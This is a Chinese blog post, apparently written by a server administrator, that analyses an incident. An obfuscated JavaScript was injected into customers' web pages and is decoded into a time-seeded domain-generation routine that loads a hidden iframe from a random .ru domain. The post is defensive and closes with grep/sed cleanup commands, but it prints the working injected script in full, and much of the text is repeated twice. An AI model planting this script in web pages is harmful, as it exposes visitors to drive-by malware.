恶意js脚本注入访问伪随机域名的实例解析
人气:0
我们的服务器又出入侵事故了。有客户的html 网页底部被插入了一段js 脚本，
导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链SEO 中这是常见的手法，
但奇特的地方就在于我们这次捕获到的代码，会根据当前的时间戳生成一个（伪）随机域名，
然后定时访问。
看上去目的并非是SEO。
一、攻击分析
被插入的javascript 在此——
<script lang="javascript">
/*km0ae9gr6m*/
s = "";
try {
q = document.createElement("p");
q.appendChild("123" + n);
} catch (qw) {
h = -016 / 7;
try {
a = prototype;
} catch (zxc) {
e = window["e" + "va" + "l"];
n = "204.351.440.495.232.315.444.550.64.330.404.600.232.246.388.550.200.333.436.390.234.327.392.505.228.120.164.615.26.30.128.160.64.96.472.485.228.96.416.525.64.183.128.580.208.315.460.230.230.303.404.500.64.141.128.580.208.315.460.230.162.177.52.50.64.96.128.160.236.291.456.160.216.333.128.305.64.348.416.525.230.138.460.505.202.300.128.185.64.348.416.525.230.138.324.295.26.30.128.160.64.96.472.485.228.96.464.505.230.348.128.305.64.348.416.525.230.138.260.160.84.96.432.555.64.135.128.580.208.315.460.230.164.96.168.160.208.315.236.65.20.96.128.160.64.315.408.200.232.303.460.580.64.186.128.240.82.369.52.50.64.96.128.160.64.96.128.160.232.312.420.575.92.345.404.505.200.96.244.160.232.303.460.580.118.39.40.160.64.96.128.625.64.303.432.575.202.96.492.65.20.96.128.160.64.96.128.160.64.348.416.525.230.138.460.505.202.300.128.305.64.348.404.575.232.96.172.160.232.312.420.575.92.231.236.65.20.96.128.160.64.375.52.50.64.96.128.160.228.303.464.585.228.330.128.200.232.312.420.575.92.345.404.505.200.96.168.160.232.312.420.575.92.333.440.505.158.354.404.570.154.123.236.65.20.375.52.50.26.30.408.585.220.297.464.525.222.330.128.410.194.330.400.555.218.234.468.545.196.303.456.355.202.330.404.570.194.348.444.570.80.351.440.525.240.123.492.65.20.96.128.160.64.354.388.570.64.300.128.305.64.330.404.595.64.204.388.580.202.120.468.550.210.360.168.245.96.144.192.205.118.39.40.160.64.96.128.590.194.342.128.575.64.183.128.500.92.309.404.580.144.333.468.570.230.120.164.160.124.96.196.250.64.189.128.245.64.174.128.240.118.39.40.160.64.96.128.580.208.315.460.230.230.303.404.500.64.183.128.250.102.156.212.270.110.168.228.240.98.96.172.160.80.300.184.515.202.348.308.555.220.348.416.200.82.96.168.160.96.360.280.350.140.210.280.350.82.96.172.160.80.300.184.515.202.348.272.485.232.303.160.205.64.126.128.240.240.210.280.350.140.123.172.160.80.231.388.580.208.138.456.555.234.330.400.200.230.96.168.160.96.360.280.350.140.123.164.295.26.30.128.160.64.96.464.520.210.345.184.325.64.183.128.260.112.150.220.245.118.39.40.160.64.96.128.580.208.315.460.230.154.96.244.160.100.147.208.275.104.168.204.270.104.165.236.65.20.96.128.160.64.348.416.525.230.138.324.160.122.96.464.520.210.345.184.385.64.141.128.580.208.315.460.230.130.177.52.50.64.96.128.160.232.312.420.575.92.246.128.305.64.348.416.525.230.138.308.160.74.96.464.520.210.345.184.325.118.39.40.160.64.96.128.580.208.315.460.230.222.330.404.395.236.303.456.385.64.183.128.245.92.144.128.235.64.348.416.525.230.138.308.295.26.30.128.160.64.96.464.520.210.345.184.550.202.360.464.160.122.96.440.505.240.348.328.485.220.300.444.545.156.351.436.490.202.342.236.65.20.96.128.160.64.342.404.580.234.342.440.160.232.312.420.575.118.39.40.625.26.30.52.50.204.351.440.495.232.315.444.550.64.297.456.505.194.348.404.410.194.330.400.555.218.234.468.545.196.303.456.200.228.132.128.385.210.330.176.160.154.291.480.205.246.39.40.160.64.96.128.570.202.348.468.570.220.96.308.485.232.312.184.570.222.351.440.500.80.120.308.485.240.135.308.525.220.123.128.210.64.342.184.550.202.360.464.200.82.96.172.160.154.315.440.205.118.39.40.625.26.30.52.50.204.351.440.495.232.315.444.550.64.309.404.550.202.342.388.580.202.240.460.505.234.300.444.410.194.330.400.555.218.249.464.570.210.330.412.200.234.330.420.600.88.96.432.505.220.309.464.520.88.96.488.555.220.303.164.615.26.30.128.160.64.96.472.485.228.96.456.485.220.300.128.305.64.330.404.595.64.246.388.550.200.333.436.390.234.327.392.505.228.213.404.550.202.342.388.580.222.342.160.585.220.315.480.205.118.39.40.160.64.96.128.590.194.342.128.540.202.348.464.505.228.345.128.305.64.273.156.485.78.132.156.490.78.132.156.495.78.132.156.500.78.132.156.505.78.132.156.510.78.132.156.515.78.132.156.520.78.132.156.525.78.132.156.530.78.132.156.535.78.132.156.540.78.132.156.545.78.132.156.550.78.132.156.555.78.132.156.560.78.132.156.565.78.132.156.570.78.132.156.575.78.132.156.580.78.132.156.585.78.132.156.590.78.132.156.595.78.132.156.600.78.132.156.605.78.132.156.610.78.279.236.65.20.96.128.160.64.354.388.570.64.345.464.570.64.183.128.195.78.177.52.50.64.96.128.160.204.333.456.200.236.291.456.160.210.96.244.160.96.177.128.525.64.180.128.540.202.330.412.580.208.177.128.525.64.129.172.160.82.369.52.50.64.96.128.160.64.96.128.160.230.348.456.160.86.183.128.540.202.348.464.505.228.345.364.495.228.303.388.580.202.246.388.550.200.333.436.390.234.327.392.505.228.120.456.485.220.300.176.160.96.132.128.540.202.348.464.505.228.345.184.540.202.330.412.580.208.96.180.160.98.123.372.295.26.30.128.160.64.96.500.65.20.96.128.160.64.342.404.580.234.342.440.160.230.348.456.160.86.96.156.230.78.96.172.160.244.333.440.505.118.39.40.625.26.30.52.50.230.303.464.420.210.327.404.555.234.348.160.510.234.330.396.580.210.333.440.200.82.369.52.50.64.96.128.160.232.342.484.615.26.30.128.160.64.96.128.160.64.96.420.510.80.348.484.560.202.333.408.160.210.306.456.485.218.303.348.485.230.201.456.505.194.348.404.500.64.183.244.160.68.351.440.500.202.306.420.550.202.300.136.205.246.39.40.160.64.96.128.160.64.96.128.160.64.96.128.525.204.342.388.545.202.261.388.575.134.342.404.485.232.303.400.160.122.96.464.570.234.303.236.65.20.96.128.160.64.96.128.160.64.96.128.160.64.354.388.570.64.351.440.525.240.96.244.160.154.291.464.520.92.342.444.585.220.300.160.215.220.303.476.160.136.291.464.505.80.123.188.245.96.144.192.205.118.39.40.160.64.96.128.160.64.96.128.160.64.96.128.590.194.342.128.500.222.327.388.525.220.234.388.545.202.96.244.160.206.303.440.505.228.291.464.505.160.345.404.585.200.333.328.485.220.300.444.545.166.348.456.525.220.309.160.585.220.315.480.220.64.147.216.220.64.117.456.585.78.123.236.65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.96.244.160.200.333.396.585.218.303.440.580.92.297.456.505.194.348.404.345.216.303.436.505.220.348.160.170.146.210.328.325.154.207.136.205.118.96.52.50.64.96.128.160.64.96.128.160.64.96.128.160.210.306.456.545.92.345.404.580.130.348.464.570.210.294.468.580.202.120.136.575.228.297.136.220.64.102.416.580.232.336.232.235.94.102.172.500.222.327.388.525.220.234.388.545.202.129.136.235.228.351.440.510.222.342.404.575.232.342.468.550.126.345.420.500.122.294.444.580.220.303.464.170.82.177.128.65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.138.460.580.242.324.404.230.238.315.400.580.208.96.244.160.68.144.448.600.68.177.128.65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.138.460.580.242.324.404.230.208.303.420.515.208.348.128.305.64.102.192.560.240.102.236.160.26.30.128.160.64.96.128.160.64.96.128.160.64.96.420.510.228.327.184.575.232.363.432.505.92.354.420.575.210.294.420.540.210.348.484.160.122.96.136.520.210.300.400.505.220.102.236.160.26.30.128.160.64.96.128.160.64.96.128.160.64.96.400.555.198.351.436.505.220.348.184.490.222.300.484.230.194.336.448.505.220.300.268.520.210.324.400.200.210.306.456.545.82.177.52.50.64.96.128.160.64.96.128.160.250.39.40.160.64.96.128.625.198.291.464.495.208.120.404.205.246.375.52.50.250.132.128.265.96.144.164.295".split(".");
if (window.document) for (i = 6 - 2 - 1 - 2 - 1; - 1828 + i != 2 - 2; i++) {
k = i;
s = s + String.fromCharCode(n[k] / (i % (h * h) + 2));
}
console.log(s);
}
} /*qhk6sa6g1c*/
</script>
运维拿到这段代码的时候，都不知道它是要做什么。
在这里不得不吐槽一下，为啥我们的运维都不懂代码……我放到Chrome 里decode 出来，
是这样子的
function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)
+ (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;
}
function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
var str = '';
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setTimeout(function () {
try {
if (typeof iframeWasCreated == "undefined") {
iframeWasCreated = true;
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm);
}
} catch (e) {}
}, 500);
于是大意可知，它内置了一个随机域名生成函数，有趣的事情。
伪随机数发生器基于unix 时间戳，说它是“伪”随机，是因为这并非真正意义上的随机，
我们可以根据时间计算出它所产生的结果。
事实上，它最终每12 个小时就会生成一个类似ctonxidjqijsnzny.ruznycugibimtvplve.ru这样的域名。
这并非有新意的黑客，之前有安全人员对恶意软件下载的分析，
攻击者甚至使用了twitter 消息作为种子来生成域名，这是真正的随机，完全无法预料，
也无从预警和封锁。
话说回来，在这段代码开始运作产生访问流量之前，黑客有充足的时间注册和配置域名，
并挂上木马链接。毫无疑问的是，如果2012 真的不是世界末日，
我们很容易预知到它即将产生什么域名。于是写段程序检测一下，
直至未来的2012 年8 月7 日，有89 个域名已经注册，WHOIS 显示DNS 解析服务器在俄国。
真正的黑客大国，老毛子名不虚传。
网上搜了一下，很多国外服务商也遇到了这个问题，有人甚至观测到一些服务器端的逻辑，
比如根据访问者IP 进行302 重定向的机制。
二、安全漏洞
更重要的问题是，恶意js 代码是怎么注入到我们客户的网页上的呢？
通过查看日志我们发现，捅篓子的是某著名后台管理系统的一个文件上传漏洞，
目前厂商已经给出修复方案。他们建议重置所有用户的密码……
三、擦屁股
这苦逼活，又是我的差事。花了一个小时，写了两句话，测试通过。
# check
grep -rl --include=*.{php,js,htm,html} "km0ae9gr6m" /var/www/vhosts/* > injeted_list.txt
# clean up
grep -rl --include=*.{php,js,htm,html} "km0ae9gr6m" /var/www/vhosts/* | xargs sed -i -e 's/\/\*km0ae9gr6m/\n&/g' -e 's/qhk6sa6g1c\ //&\n/g' -e '/km0ae9gr6m*/,/qhk6sa6g1c/d'
参考链接：
http://research.zscaler.com/2012/07/mass-compromise-includes-computerworld.html
作者 lovelucy
导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链SEO 中这是常见的手法，
但奇特的地方就在于我们这次捕获到的代码，会根据当前的时间戳生成一个（伪）随机域名，
然后定时访问。
看上去目的并非是SEO。
一、攻击分析
被插入的javascript 在此——
<script lang="javascript">
/*km0ae9gr6m*/
s = "";
try {
q = document.createElement("p");
q.appendChild("123" + n);
} catch (qw) {
h = -016 / 7;
try {
a = prototype;
} catch (zxc) {
e = window["e" + "va" + "l"];
n = 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if (window.document) for (i = 6 - 2 - 1 - 2 - 1; - 1828 + i != 2 - 2; i++) {
k = i;
s = s + String.fromCharCode(n[k] / (i % (h * h) + 2));
}
console.log(s);
}
} /*qhk6sa6g1c*/
</script>
运维拿到这段代码的时候，都不知道它是要做什么。
在这里不得不吐槽一下，为啥我们的运维都不懂代码……我放到Chrome 里decode 出来，
是这样子的
function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)
+ (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;
}
function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
var str = '';
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setTimeout(function () {
try {
if (typeof iframeWasCreated == "undefined") {
iframeWasCreated = true;
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm);
}
} catch (e) {}
}, 500);
于是大意可知，它内置了一个随机域名生成函数，有趣的事情。
伪随机数发生器基于unix 时间戳，说它是“伪”随机，是因为这并非真正意义上的随机，
我们可以根据时间计算出它所产生的结果。
事实上，它最终每12 个小时就会生成一个类似ctonxidjqijsnzny.ruznycugibimtvplve.ru这样的域名。
这并非有新意的黑客，之前有安全人员对恶意软件下载的分析，
攻击者甚至使用了twitter 消息作为种子来生成域名，这是真正的随机，完全无法预料，
也无从预警和封锁。
话说回来，在这段代码开始运作产生访问流量之前，黑客有充足的时间注册和配置域名，
并挂上木马链接。毫无疑问的是，如果2012 真的不是世界末日，
我们很容易预知到它即将产生什么域名。于是写段程序检测一下，
直至未来的2012 年8 月7 日，有89 个域名已经注册，WHOIS 显示DNS 解析服务器在俄国。
真正的黑客大国，老毛子名不虚传。
网上搜了一下，很多国外服务商也遇到了这个问题，有人甚至观测到一些服务器端的逻辑，
比如根据访问者IP 进行302 重定向的机制。
二、安全漏洞
更重要的问题是，恶意js 代码是怎么注入到我们客户的网页上的呢？
通过查看日志我们发现，捅篓子的是某著名后台管理系统的一个文件上传漏洞，
目前厂商已经给出修复方案。他们建议重置所有用户的密码……
三、擦屁股
这苦逼活，又是我的差事。花了一个小时，写了两句话，测试通过。
# check
grep -rl --include=*.{php,js,htm,html} "km0ae9gr6m" /var/www/vhosts/* > injeted_list.txt
# clean up
grep -rl --include=*.{php,js,htm,html} "km0ae9gr6m" /var/www/vhosts/* | xargs sed -i -e 's/\/\*km0ae9gr6m/\n&/g' -e 's/qhk6sa6g1c\ //&\n/g' -e '/km0ae9gr6m*/,/qhk6sa6g1c/d'
参考链接：
http://research.zscaler.com/2012/07/mass-compromise-includes-computerworld.html
作者 lovelucy
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